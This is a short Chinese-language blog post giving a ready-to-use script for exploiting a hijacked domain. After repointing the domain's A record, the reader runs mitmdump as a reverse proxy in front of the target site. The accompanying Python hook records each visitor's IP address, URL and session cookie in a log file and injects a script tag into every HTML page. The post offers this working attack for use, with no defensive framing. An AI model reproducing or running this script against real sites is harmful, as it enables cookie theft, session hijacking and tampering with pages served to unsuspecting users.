域名劫持后利用脚本
1 minute read
About
本文记录一种在域名劫持后通过mitmproxy进行http会话劫持的利用脚本,该脚本通过mitmdump的反向代理工作模式进行流量劫持.
Usage
1.通过修改域名的A记录来进行域名劫持
2.在域名的新A记录主机上安装mitmproxy:pip3 install mitmproxy
3.在域名的新A记录主机上运行:
mitmdump --set allow_remote=true -—listen-host 0.0.0.0 -s xdomain.py --mode reverse:http://xxx.xxx.xxx:80 -p 80
--listen-host代表本地监听ip
--mode reverse代表以反向代理的模式进行工作
--set allow_remote=true代表支持客户端访问的时候是通过代理访问的
运行时需要需要上面命令中的http://xxx.xxx.xxx:80为目标网站地址,且修改下面代码中的http://xxx.xxx.xxx为目标网站地址
Detail
import os
import re
import chardet
def request(flow):
# url=flow.request.url
# flow.request.headers['User-Agent']='xxx'
pass
def response(flow):
url = flow.request.url
print(url)
if "http://xxx.xxx.xxx" in url:
content = flow.response.content
cookie = flow.request.headers['Cookie']
ip = str(flow.client_conn.ip_address).split(":")[0]
bytes_encoding = chardet.detect(content)['encoding']
origin_html = content.decode(encoding=bytes_encoding, errors="ignore")
if "</html>" in origin_html:
insert_xss = '''<script>alert("you're hacked")</script></html>'''
new_html = origin_html.replace("</html>", insert_xss)
flow.response.text = new_html
return_value = {'ip': ip, 'url': url, 'cookie': cookie}
with open("mitm.log", "a+") as f:
f.write(str(return_value) + "\n")